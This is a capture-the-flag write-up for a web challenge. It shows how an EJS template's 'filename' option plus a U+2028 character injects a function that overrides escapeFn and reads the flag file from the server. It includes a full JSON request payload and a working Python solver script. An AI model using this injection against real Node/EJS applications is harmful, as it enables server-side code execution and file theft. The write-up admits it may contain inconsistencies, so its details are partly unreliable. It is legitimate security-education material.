WebHidden Investigations CTF 2026
Ouroboros
Exploit EJS filename sourceURL injection via U+2028 LINE SEPARATOR to shadow escapeFn with an attacker-controlled function that reads the flag from disk.
What this one teaches
- EJS's passable-option whitelist includes
filename. WhencompileDebugis on, EJS appends//# sourceURL=with the filename — U+2028 terminates the line comment and injects source. - Function declarations are hoisted in the generated function scope, so declaring
escapeFnshadows the real parameter and hijacks every<%= %>output. - U+2028 and U+2029 are legal inside JSON strings but act as line terminators in JavaScript — a class of injection that survives JSON.stringify.
Task description
The Ouroboros Report Builder is a small internal report tool: sign in, save a branding config, render a live preview. That’s the whole app. There are no user-supplied templates, no
eval, no obvious injection, and the one dangerous thing you’re thinking of is already filtered.
- Category: web (hard)
Recon
-
The preview template was recovered by abusing a passable EJS option:
{"data":{"title":"T","body":"B","delimiter":"?"}}turns off normal tag parsing and returns the raw template:<section class="report"><h1><%= title %></h1><small><%= footer %></small> <div class="body"><%= body %></div><div class="computed"><%= computed %></div></section> -
delimiter,_with,async,filenameall behave as EJS render options taken fromdata, proving the preview uses the two-argumentejs.render(template, locals)form. In that form EJS copies only_OPTS_PASSABLE_WITH_DATAfromlocalsinto its options object. -
The template has no
include, so EJS file loading is not directly reachable.
The gadget: filename + U+2028 sourceURL injection
filename is in EJS’s passable-option whitelist. When compileDebug is on
(the default), EJS appends this to the generated function source:
//# sourceURL= + JSON.stringify(opts.filename)
JSON.stringify leaves U+2028 (LINE SEPARATOR) as a literal character. U+2028
terminates a JavaScript // line comment, so a filename containing U+2028
injects source after the comment. Function declarations are hoisted to the top
of the generated function scope, so a declaration named escapeFn shadows the
real escapeFn parameter. Every <%= field %> in the template then calls the
attacker’s function, whose return value is written into the response.
A harmless probe (function escapeFn(){return 731}//) returned 731 in every
field on the live instance; the trailing // comments out the closing quote
that JSON.stringify appends.
Request
POST /api/report/preview HTTP/1.1
Content-Type: application/json
Cookie: sid=<session>
{"data":{"title":"T","body":"B",
"filename":"probe
function escapeFn(){const fs=process.mainModule.require('fs');for(const p of ['/flag','/flag.txt','/app/flag','/app/flag.txt','flag','flag.txt']){try{if(fs.statSync(p).isFile())return fs.readFileSync(p,'utf8')}catch(e){}}return JSON.stringify({cwd:process.cwd(),root:fs.readdirSync('/'),files:fs.readdirSync('.')})}//",
"compileDebug":true,"client":false,"async":false}}
The
must decode to a real U+2028 character (or place the raw character
in the JSON string). Avoid double quotes and backslashes inside the injected
function because JSON.stringify escapes them; a normal newline is escaped too
and does not work.
The injected function reads the flag from disk (the root page says “The flag is
on disk, on no route”) and falls back to listing / and the current directory.
Solver
#!/usr/bin/env python3
"""Recover the Ouroboros flag through EJS filename sourceURL injection."""
import argparse, html, re, sys, requests
def main():
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("url", help="Live challenge instance URL")
args = parser.parse_args()
base = args.url.rstrip("/")
session = requests.Session()
session.post(
base + "/api/login", json={"username": "ouroboros-solver"}, timeout=20
).raise_for_status()
# U+2028 ends the sourceURL comment. The declaration is hoisted above
# EJS's return statement and replaces its escapeFn parameter.
filename = "probe
function escapeFn(){" + (
"const fs=process.mainModule.require('fs');"
"for(const p of ['/flag','/flag.txt','/app/flag','/app/flag.txt',"
"'flag','flag.txt']){"
"try{if(fs.statSync(p).isFile())return fs.readFileSync(p,'utf8')}"
"catch(e){}"
"}"
"return JSON.stringify({cwd:process.cwd(),"
"root:fs.readdirSync('/'),files:fs.readdirSync('.')});"
"}//"
)
response = session.post(
base + "/api/report/preview",
json={"data": {
"title": "T", "body": "B", "filename": filename,
"compileDebug": True, "client": False, "async": False,
}},
timeout=20,
)
response.raise_for_status()
flags = list(dict.fromkeys(
re.findall(r"hiCTF\{[^{}]+\}", html.unescape(response.text))))
if not flags:
raise SystemExit("No flag found; inspect the returned diagnostic.")
print("\n".join(flags))
if __name__ == "__main__":
main()
Dead ends
client:true+escapeFunction:<string>anddata.settings["view options"]source-injection were tested in every placement and do not execute on the live 2-argejs.renderpath; only the whitelisted options reach EJS.- Prototype pollution via
constructor.prototypeis real but only reached the template scope (escapeFnshadowing -> 500), not the compiler options. - Static traversal,
.git/.env,includepayloads, and the emptycomputedfield produced nothing.
Lessons
- EJS’s passable-option whitelist is shorter than the full option set, but
filenameis on it — andfilenamecontrols injected source viasourceURLwhencompileDebugis on. - U+2028/U+2029 are JSON-legal but JavaScript line-terminators. Any path where user input flows into a
//comment throughJSON.stringifyis injectable. - When
new Functionis the compilation target, hoisted declarations shadow parameters — a singlefunction escapeFn(){}overrides the sanitiser.
The flagReveal
hiCTF{pr0to_pollution_to_cust0m_new_Function_gadget_rce_09a6a70c15}This CTF was possibly solved, and the writeup most likely written by an LLM. Apologies for inconsistencies.